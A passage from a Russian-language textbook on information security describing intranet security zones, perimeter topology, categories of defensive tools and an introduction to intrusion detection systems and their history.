■ ИС представляет собой сеть с активными агентами, т. е. в процессе работы про граммные компоненты, такие, как апплеты или сервлеты, передаются с одной машины на другую и выполняются в целевой среде, поддерживая связь с удален ными компонентами;
■ обеспечение безопасности в РВС;
■ защита важнейших сервисов (в первую очередь веб-сервиса);
■ не все пользовательские системы контролируются администраторами организации;
■ ПО, особенно полученное по сети, не может считаться безопасным: в нем могут присутствовать зловредные элементы или ошибки, создающие слабости в защите;
■ конфигурация ИС постоянно изменяется на уровнях административных данных, программ и аппаратуры (меняется состав пользователей, их привилегии, версии программ, появляются новые сервисы, новая аппаратура и т. п.);
■ необходимо протоколирование и аудит в рамках сетевых конфигураций.
Это позволяет определить защищаемый интранет как распределенную, гетероген ную, многосервисную, эволюционирующую систему.
Специфика защиты ресурсов интранета обусловливается, в частности, тем, что они чаще всего находятся в различных зонах безопасности (security zones) - группах таких логически объединных ресурсов, как системы, подсети или процессы, которые подтверждены схожей степени риска. Цель такого подхода - создать такое сетевое окружение, в котором взлом одного компонента сетевой инфтрастуктуры не приве дет к нарушению безопасности других компонентов той же инфраструктуры. Напри мер, вполне логичным будет разместить в пределах одной зоны безопасности, дос тупной из Интернета, веб-сервер, DNS-сервер и почтовый сервер, если каждый из них не служит для хранения критически важных данных. Однако если почтовый сер вер все же используется для хранения таких данных (например, о партнерах и клиен тах), более ценных для взломщика, чем те, что хранятся на DNS-сервере и веб сервере, то нужна отдельная подсеть с почтовым сервером.
В защищаемом интранете могут существовать зоны безопасности с разной степе нью защищенности:
■ свободно доступные (различные серверы);
■ с ограниченным доступом;
■ закрытые для доступа.
Разделение интранета на зоны безопасности осуществляется установкой таких защитных средств, как МЭ (см. рис. 17 из гл. 2). Также интранеты могут быть изоли рованы от внешних пользователей Интернета с помощью МЭ или могут просто функционировать как автономные сети, не имеющие доступа извне (второй случай не представляет интереса для данного учебника).
Зоны безопасности относятся не только к понятию сети. Их можно выделять так же и в пределах серверов, предназначенных для решения узкого круга строго опреде ленных задач.
Обычно компании создают интранеты для своих сотрудников, однако полномочия на доступ к ним иногда предоставляются деловым партнерам и другим группам пользователей. Поскольку стек протоколов TCP/IP дает кому угодно в Интернете по тенциальный доступ к серверам интранета, то МЭ становится важнейшей ее частью. МЭ служит для защиты серверов, он анализирует адрес назначения и содержимое входных сетевых пакетов. Средства защиты могут быть частью готового аппаратного решения, функцией автономного маршрутизатора или программой, выполняемой на специальном сервере.
Идеальный интранет разделен, по крайней мере, на три части. Соединение Интер нета с МЭ должно быть выполнено через выделенный сетевой адаптер, что обеспечит МЭ полный контроль над маршрутизацией входящих пакетов. На компьютере с ус тановленным МЭ допускается размещение второго адаптера, с помощью которого пользователи подключаются к другим корпоративным сетям (образуя экстранет). Третий сетевой адаптер служит для связи МЭ с защищаемой частью интранета. МЭ можно настроить на запрет доступа к многочисленным типам данных, например за претить передачу файлов FTP. Данная функция обеспечивает более совершенную защиту и позволяет устранить потенциальные уязвимости в МЭ, которыми могут воспользоваться злоумышленники.
В интранет-системах ключевым является веб-сервис, поэтому вопрос защищенно сти веб-серверов принципиально важен. Эти серверы должны поддерживать тради ционные защитные средства, такие, как аутентификация, разграничение доступа и подотчетность; кроме того, необходимо обеспечение новых свойств, в особенности безопасности программной среды и на серверной, и на клиентской стороне.
Наибольшую опасность для интранета представляют "неофициальные" (и соот ветственно незащищенные) веб-серверы, но даже санкционированные и правильно установленные серверы и другое оборудование и ПО интранета потенциально уязви мы. Системные администраторы могут случайно оставить "лазейки" при настройке таблиц маршрутизации МЭ, при создании приложений на HTML или при установке на сервере защиты уровня межпрограммного взаимодействия.
Существенно, что защита интранета организации складывается из внешней защи ты (защиты сетевого периметра), защиты транзакций и целостности данных и систем, что должно быть дополнено системой административного контроля, оповещения и реакции на несанкционированные вторжения в интранет. Следует учитывать также, что основная угроза ИБ организаций по-прежнему исходит не от внешних хакеров, а от собственных сотрудников, по той или иной причине не являющихся лояльными.
Один из привлекательных технических подходов к обеспечению безопасности ин транета - создание централизованной схемы управления на базе защитного сервера. Хороший защитный сервер организации должен обеспечивать прозрачное представ ление информации обо всех доступных пользователю ресурсах. Какую бы ОС клиент ни использовал, графическая информация о доступных ему приложениях, системах и ресурсах должна предоставляться с учетом соображений безопасности. Информация на защитном сервере периодически обновляется, при этом с точки зрения пользова теля ничего не меняется.
Анализ специфических угроз ИБ открытых систем позволяет выделить основные направления их защиты.
Защита аппаратуры и носителей информации от похищения, повреждения и уничтожения. Это достигается за счет традиционного комплекса организационно-технических мер: физическая охрана и ограничение доступа к аппаратуре и носите лям данных, ограждение зданий и территорий, оборудование помещений замками, охранной сигнализацией, а также различными устройствами, препятствующими по хищению компьютерной аппаратуры, ее компонентов и узлов.
Защита информационных ресурсов от несанкционированного использования. Ос новой такой защиты являются средства контроля включения питания и загрузки ПО, а также методы парольной защиты при входе в систему.
Защита информационных ресурсов от НСД, направленная на обеспечение кон фиденциальности, целостности и доступности информации и сервисов системы.
Защита от утечки по побочным каналам электромагнитных излучений и наво док. Для этих целей применяется экранирование аппаратуры и помещений, установка специальной защищенной аппаратуры, маскирующих генераторов шумов и помех, а также проверка аппаратуры на наличие компрометирующих излучений.
Защита информации в каналах связи и узлах коммутации. Она направлена на уст ранение угроз, связанных с пассивным подключением к каналу ("прослушиванием"), предотвращение активного подключения для фальсификации или ретрансляции ис тинных сообщений, а также защиту от блокировки каналов связи. Для этого исполь зуются процедуры аутентификации абонентов и сообщений, шифрование и специ альные протоколы связи.
Защита юридической значимости электронных документов. При передаче доку ментов (платежные поручения, контракты, распоряжения и т. д.) по сетям необходи мо подтверждение того, что документ был действительно создан и отправлен авто ром, а не фальсифицирован или модифицирован получателем или третьим лицом. Иногда существует угроза отрицания авторства отправителем с целью снять с себя ответственность за передачу документа. Мерой защиты при обмене финансовыми документами является аутентификация сообщений при отсутствии у сторон доверия друг к другу. Документ (сообщение) дополняется ЭЦП - специальной меткой, логи чески неразрывно связанной с текстом и формируемой с помощью секретного крип тографического ключа. Подделка меток без знания ключа посторонними лицами за труднена, а знание ключа свидетельствует об авторстве.
Защита от компьютерных вирусов и незаконной модификации за счет примене ния иммуностойких программ и выявления фактов модификации ПО.
5.3. Выбор сетевой топологии интранета при подключении к другим внешним сетям
Одним из мероприятий, обеспечивающих высокую защищенность интранета, яв ляется планирование топологии сети и размещение сетевых ресурсов с учетом требо ваний безопасности. У большинства сетевых протоколов передачи данных есть свои особенности, влияющие на то, в какой конфигурации интранета эти данные могут быть перехвачены третьими лицами или фальсифицированы. Анализ конфигурации интранета с этой точки зрения и внимание к защищенности важных его сегментов, как, например, сегментов, по которым технический персонал осуществляет удален ное управление серверами и маршрутизаторами, может существенно улучшить об щую защищенность интранета. Схема идеальной топологии сегментированной сети уже приводилась выше (см. рис. 17).
Внутренняя сеть предсталяет собой сеть, защищенную сетевым периметром. По этому, как было отмечено выше, в первую очередь важна защита сетевого периметра интранета. Сетевой периметр (укрепленная граница интранета) может включать по граничные маршрутизаторы, межсетевые экраны, прокси-серверы, системы обнару жения вторжений, устройства виртуальной частной сети, ПО, ДМЗ и экранирован ные подсети (screened networks). Пограничный маршрутизатор является последним маршрутизатором, который контролируется организацией непосредственно перед выходом в другие сети. Он часто функционирует в роли первой и последней линии защиты интранета, обеспечивая фильтрацию входящего и исходящего трафика. МЭ представляет собой устройство, анализирующее трафик по набору правил, опреде ляющих, можно ли передавать этот трафик по сети. Так как МЭ не являются на 100 % совершенными устройствами, они смогут заблокировать только то, что им указано блокировать, и разрешат все, что им разрешено. Прокси-сервер выполняет функции посредника, поскольку с его использованием внешние и внутренние хосты никогда не соединяются непосредственно. Система обнаружения вторжений наблю дает за хостами и сетью, выявляя и сигнализируя обо всех обнаруженных вторжени ях и потенциально опасных событиях. Виртуальная частная сеть позволяет создать защищенные каналы между частями интранета, для организации которых может ис пользоваться, например, Интернет. ПО имеет важную роль при создании защиты ин транета, поскольку оно работает с данными и сервисами, которые требуется обезопа сить. Терминами "демилитаризованная зона" и "экранированная подсеть" обознача ется небольшая часть интранета, содержащая ресурсы общего пользования и непосредственно подключенная к МЭ или к другому фильтрующему устройству. Первое понятие определяет ограниченную область интранет со стороны внешних се тей по отношению к ней. Эта зона отделена, с одной стороны, от защищенной части интранета одним МЭ, а с другой - от незащищенной части интранет, имеющей под ключение к другим сетям, другим МЭ или маршрутизатором с пакетным фильтром. Экранированная подсеть - это и есть та часть интранета, которая подлежит защите и размещается за находящимся на границе с демилитаризованной зоной МЭ.
Важным фактором в обеспечении безопасности информации при корпоративном доступе в другие внешние сети (например, в Интернет) является выбор топологии самого интранета. Она содержит все серверы, рабочие станции и ИТ-структуру, при надлежащие компании. Во внутренней сети должны быть представлены следующие устройства "периметра":
■ входящая и исходящая фильтрация на каждом маршрутизаторе;
■ внутренние МЭ для разделения ресурсов;
■ персональные МЭ (для защиты от внутренних злоумышленников и атак, прошед ших через МЭ в ДМЗ и экранирующей подсети);
■ прокси-серверы;
■ системы обнаружения вторжений, выполняющие мониторинг внутренней сети;
■ антивирусные средства;
■ защищенные и "укрепленные" ОС и приложения;
■ средства управления конфигурацией (включая автоматическую установку обнов лений и тиражирование стандартной конфигурации для определнных типов уст ройств);
■ системы, осуществляющие аудит.
Подчеркнем еще один немаловажный момент, влияющий на безопасность интране та, - это разделение ресурсов. Например, для почтового сервера, инсталлированного на ключевой хост для доступа из Интернета, рекомендуется настроить переадресацию всех входящих почтовых сообщений на внутренний почтовый сервер. Такая разбивка почто вого сервера на две составные части позволяет располагать его компоненты в разных зо нах безопасности. Это предоставляет следующие преимущества:
■ для разделенных компонентов можно использовать разное ПО;
■ можно добиться большей степени конфиденциальности;
■ можно изолировать наиболее уязвимые компоненты с целью снижения потенци ального риска их взлома;
■ можно реализовать четко выверенный контроль над конфигурацией каждого ком понента и соответствующих ему прав доступа.
Аналогичный подход применим и к службе DNS, что позволяет сконфигуриро вать разделенную на две части DNS (split DNS, или split horizon DNS). Один из ком понентов DNS доступен для внешних пользователей, а второй употребляется исклю чительно в пределах компании. База данных внешнего сервера содержит только информацию о доменах и системах, расположенных во внешнем по отношению к данной сети мире. Записи, необходимые внутренним пользователям сети, хранятся только на внутреннем DNS-сервере. Кроме ограничения доступа извне к информации о внутрисетевой инфрастуктуре, это позволяет уменьшить влияние взломанного DNS-сервера на внутренние сетевые ресурсы.
Еще один способ разделения ресурсов - это применение виртуальных локальных сетей (VLAN), предоставляющее возможность определения гибких широковеща тельных доменов со множеством коммутаторов. (Данный подход рассмотрен во вто рой части учебника, в главе, посвященной виртуальным сетям.)
Интранет отделяются от других сетей следующими способами: физической изо ляцией; изоляцией протоколов; маршрутизаторами. Естественно, выбор топологии интранета влияет на сервисы, которые будут предоставлены ее пользователям.
5.7. Средства обеспечения информационной безопасности
в открытых системах
Средства обеспечения ИБ в открытых системах рассмотрим на примере средств защиты ресурсов интранета. Условно они могут быть разделены на две большие группы - встроенные и наложенные средства (рис. 55).
Встроенные средства защиты уже изначально имеются в ряде систем, например в ОС, СУБД, многих сетевых устройствах, приложениях, сервисах и т. п. В основном они выполняют функции аутентификации, разграничения доступа, аудита, контроля целостности и защищенности. Только не нужно забывать настраивать их под кон кретную среду использования.
Наложенные средства представляют собой самостоятельные системы программ ной, аппаратной или смешанной реализации, отдельно приобретаемые для создания комплексной системы обеспечения ИБ интранета. Функциональные возможности этих средств очень широки - от обнаружения аномалий в работе интранета и его пользователей до создания сложных виртуальных локальных и частных сетей.
Средства защиты информации (СЗИ) от НСД, устанавливаемые в интранете с це лью обеспечения ИБ, классифицируются в соответствии с нормативными документа ми Гостехкомиссии России по четырем подсистемам обеспечения информационной безопасности.
1. Подсистема управления доступом.
1.1. Идентификация, проверка подлинности и контроль доступа субъектов: в сис тему; к терминалам, ЭВМ, узлам сети ЭВМ, каналам связи, внешним устройствам ЭВМ; к программам; к томам, каталогам, файлам, записям, полям записей.
1.2. Управление потоками информации.
2. Подсистема регистрации и учета.
2.1. Регистрация и учет: входа-выхода субъектов доступа в/из системы (узла сети); выдачи печатных выходных документов; запуска-завершения программ и процессов (заданий, задач); доступа программ субъектов доступа к терминалам, ЭВМ, узлам се ти ЭВМ; каналам связи, внешним устройствам ЭВМ, программам, томам, каталогам, файлам, записям, полям записей; изменения полномочий субъектов доступа; созда ваемых защищаемых объектов доступа.
2.2. Учет носителей информации.
2.3. Очистка (обнуление, обезличивание) освобождаемых областей оперативной памяти ЭВМ и внешних накопителей.
2.4. Сигнализация попыток нарушения защиты.
3. Криптографическая подсистема.
3.1. Шифрование конфиденциальной информации.
3.2. Шифрование информации, принадлежащей различным субъектам доступа (группам субъектов) на разных ключах.
3.3. Использование аттестованных (сертифицированных) криптографических средств.
4. Подсистема обеспечения целостности.
4.1. Обеспечение целостности программных средств и обрабатываемой информации.
4.2. Физическая охрана средств вычислительной техники и носителей информации.
4.3. Наличие администратора (службы) защиты информации в АС.
4.4. Периодическое тестирование СЗИ НСД.
4.5. Физическая охрана средств вычислительной техники и носителей информации.
4.6. Наличие средств восстановления СЗИ НСД.
4.7. Использование сертифицированных средств защиты.
С учетом этой классификации и дифференциации продуктов на современном рынке наложенных средств защиты ресурсов интранета подразделим их на несколько основных категорий [http://www.sans.org/tools.php]. Правда, сразу отметим, что неко торые системы очень трудно отнести к какому-либо одному конкретному классу -они могут реализовывать меры защиты, характерные сразу для нескольких классов. (Зарубежные средства обеспечения ИБ в сетях (лидеры 2004 г. в своих категориях) приведены в прил. 5.)
1. Средства управления доступом.
Аутентификация (authentication). Аутентификация - это процесс определения то го, является ли кто-то (например, пользователь) или что-то (например, процесс) тем, за кого или за что он себя выдает. Самой привычной формой аутентификации являет ся использование входных паролей, слабость которых очевидна: пароль можно за быть, украсть или узнать случайно. Специальные средства (например, токены (tokens) реализуют более надежную аутентификацию за счет того, что для получения доступа пользователь должен иметь что-то (сам токен) и еще знать что-то (персо нальный идентификационный номер PIN или пароль). Для аутентификации, кроме обычных паролей, применяются одноразовые пароли и биометрические средства.
Авторизация (authorization). Аутентификация отвечает на вопрос "Кто вы?", а ав торизация предназначена для ответа на вопрос "Разрешено ли вам это делать?". Функционирующие на основе ПБ серверы авторизации позволяют приложениям, ко торыми чаще всего являются веб-серверы, централизованно объединять решение за дач аутентификации и авторизации. Администратор ИБ определяет средства аутен тификации (например, пароли) пользователей и методы контроля доступа. Каждый раз, когда пользователь пытается получить доступ к ресурсу, прежде чем ответить, приложение запрашивает сервер авторизации, просматривающий политики и правила безопасности.
Управление идентификацией (identity management). Это продукты, предназначен ные для унификации данных о пользователях, управления аутентификацией, автори зацией, профилями и правами пользователей, а также аудита доступа. Общее содер жание Identity Management можно описать как стандартизацию взаимодействия меж ду ИС организации и индивидуумами, их использующими. Направление Identity Management является относительно молодым - самому термину Identity Management около четырех лет.
2. Средства фильтрации.
Межсетевые экраны (firewalls). МЭ - эта система или комбинация систем, кото рые реализуют политику контроля доступа между двумя сетями/подсетями на основе различных правил фильтрации трафика.
Активный контекстный мониторинг/фильтрация (active content monitor ing/filtering). Подключившись к другой сети, пользователь рискует получить компью терный вирус, вредоносную программу на Java или Active X и многое другое. Средства, которые предназначены для осуществления активного контекстного мони торинга, тщательно исследуют всю приходящую на компьютер или в сеть информа цию на возможное наличие разрушительных кодов (контекста) или перекрестных ссылок. Такое исследование осуществляется на основе сканирования и сравнения по дозрительных признаков с постоянно обновляемыми библиотеками известных атак. Возможные проникновения разрушающих контекстов в сеть различны - от раздра жающих помех при работе отдельного пользователя до полного останова работы сети и потери важных хранимых данных. Примеры систем подобного принципа действия таковы:
■ Защита от распределенных атак "отказ в обслуживании"(antiDDoS tools). Сред ства защиты от DDoS-атак идентифицируют использование основной сети и вы являют аномалии, характерные для этого вида атак. Как только найдена аномалия, система защиты пытается выяснить, является ли эта аномалия допустимой, или это свидетельствует об атаке, а также выдает сообщения рекомендательного характера.
■ Защита от компьютерных червей (anti-worm solutions). Средства предназначены для сдерживания широкого инфицирования компьютеров червями посредством их самовоспроизведения. Определяя уникальные методы и механизмы заражения хостов, эти средства немедленно блокируют источник атаки, таким образом сни жая ущерб и позволяя осуществить полное восстановление системы. Для данных продуктов необходима высокая точность при автоматическом останове распро странения червя и поддержании работоспособности сети во время критических моментов, когда атака только впервые появилась.
■ Защита от спэма (spam protection). Средства защиты от спэма представляют со бой программные средства для почтовых серверов или шлюзов. Они получают и фильтруют входящую почту (включая прикрепленные файлы) по заданным крите риям либо на стороне сервера, либо в почтовых ящиках конечных пользователей.
3. Средства защиты, использующие криптографические методы.
Удостоверяющий центр (certificate authority). Удостоверяющий центр - это орга низация, которая выпускает и управляет сертификатами и открытыми ключами, ис пользуемыми для шифрования и дешифрования сообщений. Это обязательная со ставляющая инфрастуктуры открытых ключей, так как она управляет процессом вы дачи и проверки сертификатов, используемых людьми и системами для доступа к другим системам. Такие сертификаты содержат ключи, которые помогают усилить аутентификацию, защищенность и гарантируют "неотказуемость" (non-repudiation) от каких-либо действий.
Шифрование файлов и сеансов связи (file and session encryption). Шифрование -это процесс, преобразующий данные в форму, которая не может быть без соответст вующих средств понята неавторизированными пользователями. Для шифрования и дешифрования применяются разнообразные алгоритмы.
Виртуальные частные сети и защищенные коммуникации (virtual private networks and cryptographic communications). Виртуальные частные сети создают защищенные коммуникации чаще всего поверх Интернета, что позволяет сэкономить средства ор ганизации, открывая для нее большие возможности по осуществлению мобильного взаимодействия (в том числе и через спутниковую связь), не прибегая к использова нию дорогостоящих выделенных сетей.
Виртуальные частные сети на основе протокола SSL (SSL VPNs). Такие сети по зволяют обеспечит защищенный удаленный доступ к корпоративным приложениям (почте, порталу, системам управления и т. п.) и совместное использование файлов на основе использования обычного веб-браузера через SSL-туннель в Интернете. Они стоят немного дешевле, чем традиционные виртуальные сети на основе протокола IPSec, поскольку не требуют наличия выделенного клиента.
4. Средства защиты отдельных ресурсов интранет.
Защитные приложения (security appliances). Это комбинация программного и ап паратного обеспечения, чаще всего реализующая в едином целом функции МЭ и не которые другие сервисы (типа управления сетевого нагрузкой). Такие средства име ют ограниченный набор функций ОС, за счет чего ими легко управлять, они не доро ги и не так подвержены обычным атакам злоумышленников, как МЭ, установленные на платформах Unix или Windows.
Защищенные веб-серверы (secure Web servers). Средства защиты данной категории содержат веб-сервисы в среде, которая создается таким образом, чтобы минимизиро вать количество лазеек для проникновения злоумышленников.
Защищенные веб-приложения (Web application security). Это защита веб-при ложений и их ресурсов от таких угроз, как кража активов компании, фальсификация транзакций покупки-продажи, получение частных сведений о клиентах и подмена страниц на веб-узле. Все это осуществляется за счет обнаружения и/или предотвра щения вторжения злоумышленников в данный домен, которые могут быть реализо ваны даже при наличии МЭ и применении систем шифрования.
5. Системы отражения вторжений и поиска уязвимостей. Предотвращение вторжений (intrusion prevention). Системы для предотвращения
вторжений созданы для того, чтобы постоянно реагировать на выявляемые попытки атаки посредством автоматического блокирования действий злоумышленников до того, как сети будет нанесен ущерб. В таких средствах должна быть реализована большая точность, поскольку нужно распознавать несанкционированные действия и блокировать только их, при этом никак не затрагивая санкционированный трафик. Подобные системы располагаются как на границах сети, так и на хостах, соответ ствующих важным серверам.
Системное обнаружение вторжений (host-based intrusion detection). Средства системного обнаружения вторжений - это ПО, которое осуществляет мониторинг системы или лог-файлов приложений. При обнаружении вторжения, к которым отно сятся попытки пользователя получить НСД к данным, файлам или сервисам, эти средства выдают сигнал тревоги и при возможности начинают реализовывать меры защиты.
Сетевое обнаружение вторжений (network-based intrusion detection). Средства сете вого обнаружения вторжений осуществляют мониторинг сетевого трафика и оповещают о выявлении в трафике признаков, свидетельствующих о попытках сканирования, атаке "отказ в обслуживании" или других атаках. Такие средства обнаруживают попытки зло умышленников несанкционированно пробраться в компьютеры сети.
Сетевые сканеры уязвимостей (network-based vulnerability scanners). ПО или сер висы данного класса моделируют поведение атакующего и позволяют обнаружить наличие в сетевом трафике и протоколах сотни известных на сегодня уязвимостей, которыми может воспользоваться злоумышленник.
Системные сканеры уязвимостей (host-based vulnerability scanners). Такие скане ры проверяют настройки систем и выявляют, насколько хорошо они соответствуют принятой ПБ организации. Эти средства часто применяются аудиторами.
Сервисы безопасности: тесты на возможность проникновения (security services: penetration testing). Некоторые консалтинговые организации предлагают услуги по моделированию реальных атак злоумышленников на сети и системы организации и атак типа социальной инженерии (social engineering attacks), что позволяет обнару жить слабые места в защите и выдавать рекомендации по устранению выявленных проблем, представляющих угрозу для ИБ организации. Для этого применяются сред ства для сканирования уязвимости сетей.
Уведомления о защите/реакции на инциденты в реальном времени (real-time security awareness/incident response). Такой подход помогает администратору безо пасности быть в курсе того, что происходит в организации и насколько эффективно работают средства защиты различных производителей с единой центральной консоли в реальном времени. Средства из этой категории помогают сократить персонал, за нимающийся мониторингом работы средств защиты, и соответствующие расходы.
6. Средства управления безопасностью сети.
Сервисы защиты: разработка политики безопасности (security services: policy development). Некоторые консалтинговые организации, имеющие богатый опыт рабо ты с фирмами по разработке для них политик безопасности, создали типовые приме ры таких ПБ, которые они быстро откорректируют в зависимости от требований кон кретной организации. Они вырабатывают любые политики - начиная от использова ния электронной почты и кончая разработкой экстранета и инфраструктуры открытых ключей.
Реализация политики безопасности организации (enterprise security policy imple mentation). Средства реализации ПБ организации позволяют администраторам безопасности автоматизировать все шаги по управлению ПБ и осуществлять их с единой консоли, включая создание, редактирование, усовершенствование, опублико вание, доставку, обучение, аудит, отчетность и сопровождение. Эти средства следят за оповещением, оценивают понимание сотрудников, отслеживают инциденты и их разрешение, что помогает организациям улучшить управление рисками для ИТ, не расширяя штат специальных подразделений безопасности.
Средства администрирования безопасности организации (enterprise security administration). Они воплощают на практике принятую ПБ и создают для всех поль зователей в сети организации равные условия и права для выполнения их должност ных обязанностей. Такие системы особенно важны для предоставления доступа но вым пользователям к соответствующим системам и, что еще важнее, для удаления пользователей по различным причинам из списков доступа.
Управляемые сервисы безопасности (managed security services). Различные по ставщики предлагают управляемые сервисы защиты, решающие многие типовые за дачи администрирования сети организации и позволяющие администраторам сосре доточиться на более важных проблемах.
Автоматизированное управление защищенными обновлениями (patch management systems). Системы управления установкой обновлений, устраняющих обнаруженные в программном и аппаратном сетевом обеспечении уязвимости, позволяют автомати чески инсталлировать их удаленно по гетерогенной среде согласно имеющимся в системе настройкам.
6. СИСТЕМЫ ОБНАРУЖЕНИЯ И ПРЕДОТВРАЩЕНИЯ ВТОРЖЕНИЙ
Обнаружить злоумышленников довольно трудно. Многие вторжения проходят незамеченными, поскольку атакующие пользуются довольно мощными, свободно распространяемыми через Интернет средствами взлома сетей. Для работы с ними не требуется никаких специальных знаний и все они реализованы так, что обнаружить их запуск против конкретного компьютера или группы компьютеров удается не все гда, а тем более в режиме он-лайн (т. е. в момент их непосредственного осуществле ния). Злоумышленники маскируются под авторизованных пользователей, используют промежуточные узлы для сокрытия своего истинного адреса, осуществляют атаки, распределенные во времени (в течение нескольких часов) и пространстве (одновре менно с нескольких узлов), и т. д. Многие атаки осуществляются за очень короткое время (минуты и даже секунды), что также не позволяет обнаружить и предотвратить их стандартными защитными средствами.
Системы обнаружения вторжений (СОВ) - это именно те динамические средства, которые самостоятельно собирают информацию от различных систем и сетевых ре сурсов и анализируют ее по определенному набору параметров (распознавая атаки против компьютеров и сетей, исходящие из внешнего мира, и злоупотребления (со гласно принятым критериям) со стороны внутренних пользователей сетей), и далее осуществляют заданные ответные действия (разрыв соединений и т. п.). Поскольку практически невозможно создать полностью защищенную ОИС, поэтому СОВ, по явившиеся в середине 1990-х, предназначены для осуществления мониторинга их ис пользования. В конечном итоге такие системы не защищают информацию, а лишь обнаруживают злоумышленника, идентифицируют его и прерывают атаки, способст вуют исследованию способов атак и устранению слабых мест в системах, чтобы в дальнейшем будущие злоумышленники не воспользовались ими. Благодаря исполь зованию метода «уведомление о взломе» (burglar alarms) СОВ может предоставить полезное и надежное уведомление об определенных классах инцидентов ИБ. Сетево му администратору надо описать, опираясь на свои знания сети, какого типа события он хочет отслеживать. Затем настроить СОВ на обнаружение и уведомление о них.
Обнаружение вторжений (ОВ) необходимо в современных ОИС также потому, что невозможно быть в курсе всех текущих и возможных угроз и уязвимостей всего сопровождающего функционирование интранета ПО и АО. Такая вычислительная среда постоянно развивается и изменяется на основе внедрения новых сетевых тех нологий. Это же относится и к угрозам, и к уязвимостям. Все новые и новые уязви мости обнаруживаются постоянно. Каждая новая технология, продукт или система привносит новое поколение дефектов и непреднамеренных конфликтов или лазеек. Возможное использование знаний об уязвимостях также не стоит на месте, а посто янно развивается.
По мнению известного эксперта в области защиты сетей и разработки технологий OB М. Ранума, фильтрация, прокси-серверы, МЭ подобны броне вокруг сети, а СОВ подобны хирургу, который сообщает, что пуля прошла мимо [69]. Образно говоря, СОВ - это «глаза и уши» сети. Первоначальная идея СОВ состояла в том, что они были пассивными, т. е. системами обнаружения вторжений (Intrusion Detection System), а не «экспертами по противодействию вторжениям» (Intrusion Counter-measure Expert). Но со временем возникла необходимость в активном ОВ, т. е. обна ружении и реагировании.
Укажем основные функции, выполняемые СОВ:
■ регистрация событий, имеющих отношение к нарушению ИБ (например, искаже ние информации, DoS-атака, изменение прав доступа конкретного пользователя в его учетной записи и т. п.);
■ оповещение о подозрительных событиях/действиях в сети и выявление нарушен ного процесса функционирования систем;
■ в случае обнаружения вторжения осуществляются как пассивные (информирова ние), так и активные действия (завершение соединения...);
■ по возможности локализации места воздействия злоумышленника.
При этом СОВ решают следующие основные задачи:
■ анализ информационных потоков;
■ контроль за системной конфигурацией;
■ контроль доступа к файлам;
■ контроль доступа к ресурсам;
■ анализ данных от сетевого оборудования;
■ анализ эффективности настроек и резервирование функций МЭ;
■ антивирусная защита;
■ распознавание шаблонов атак и анализ аномальных действий;
■ контроль неблагонадежных сотрудников;
■ контроль действий администратора;
■ сбор доказательств для расследования инцидентов ИБ и т. п.
Нельзя не отметить, что одно из самых больших значений использования СОВ -психологическое. Приведем сравнение: автомобильная сигнализация не обязательно останавливает воров; она лишь заставляет их направлять свои усилия на менее за щищенные автомобили и останавливает воров-новичков.
Некоторые первоначально устанавливают демоверсию СОВ из любопытства - ин тересно в течение короткого времени понаблюдать и задокументировать частоту и виды атак, предпринимаемых на интранет. СОВ предупреждает администратора и он усиливает бдительность, что увеличивает возможности обнаружения и подсчета ре альных нападений в будущем.
Системы обнаружения вторжений (СОВ), как и САЗ, по выполняемым функциям можно отнести сразу к нескольким подсистемам программно-аппаратных средств защиты информации - это подсистема управления доступом, подсистема регистра ции и учета и подсистема контроля целостности (в той или иной мере эти функции более или менее полно реализованы в зависимости от типа системы). Именно СОВ и посвящена данная глава.
Итак, СОВ - это лишь одно из средств хорошей архитектуры обеспечения безо пасности интранета и многоуровневой стратегии его защиты. Они имеют свои пре имущества и недостатки, которые должна быть детально рассмотрены и оценены до того, как будет принято решение об установке в интранете одной из подобных сис тем. Окончательное решение рекомендуется принимать только после того, как в опорной сети организации в лабораторных условиях протестировано две или три СОВ. Таким способом будет максимально точно определена их эффективность для конкретной сети (т. е. рабочая нагрузка, точность обнаружения и т. д.).
6.1. Методы отражения вторжений
Отражение вторжений в компьютерные системы исторически складывалось из определенных профилактических работ, конфигурирования систем и других дейст вий, существенно затрудняющих атаки [70]. В подтверждение того, что только обес покоенности функциональными возможностями и затратами недостаточно, была предложена концепция обнаружения вторжений, анализирующая собранные для кон троля данные. Разработка методов обнаружения аномалий было предварено аксио мой, что можно различать маскирующихся и действительно законных пользователей посредством выявления отклонений от исторически сложившегося использования системы [71]. Такой подход на основе анализа данных мониторинга полезен для идентификации не только злоумышленников, разными способами добывающих ин формацию об идентификации и аутентификации и применяющих ее для маскировки под авторизированных пользователей, но также и самих авторизированных пользова телей, выполняющих несанкционированные действия, т. е. злоупотребления своими привилегиями. Пользователей, способных обходить механизмы защиты, обнаружить существенно труднее, так как они могут влиять на записи в журналах регистрации событий, имеющих отношение к ИБ.
Была разработана модель универсальной СОВ [72]. Исследователи разделились на 2 лагеря - тех, кто отыскивал сигнатуры атак в контролируемых данных, если в них обнаружены известные злоупотребления (например, MIDAS [73]), и тех, кто искал доказательства использования ОИС, аномального по отношению к историческим нормам (например, IDES [74]). Было предложено применять взаимодополняющую комбинацию этих подходов при особенно угрожающих отклонениях [75]. Многочис ленные обзорные статьи свидетельствовали о существенном росте исследований, изучавших различные аномалии и злоупотребления [76, 77]. В начале 1990-х гг. ис пользовались несколько СОВ, включая IDES и NIDES производства SRI, Haystack и Stalker фирмы Haystack Laboratory Inc. и распределенную СОВ DIDS производства Air Force. Был сделан вывод о необходимости интеграции источников получения данных для анализа, расположенных на множестве гетерогенных платформ, и порта тивности самих этих платформ. Распределенное ОВ стало предметом исследования университета шт. Калифорния в Дэвисе [78] и Военно-воздушных сил США [79]. Многое было изучено во время осуществления перечисленных проектов (но и сейчас данная тематика продолжает оставаться актуальной и плодотворной областью науч ных исследований). Но все они в основном фокусировались на разработке оптимизи рованных методов ОВ. Меньше усилий направлялось на исследование всей совокуп ности методов отражения вторжений, известных под названием «антивторжение» (anti-intrusion) [70]. Эти методы могут быть представлены в виде таксономии (от греч. taxis - расположение, строй, порядок и nomos - закон) (рис. 127): предотвраще ние (prevention); прерывание (preemption); сдерживание или затруднение (deterrence); отклонение (deflection); обнаружение (detection); устранение последствий или проти водействие (countermeasures). «Фильтрация» успешных вторжений графически изо бражена сужением полосы успешных попыток вторжения.
6.1.1. Предотвращение вторжений
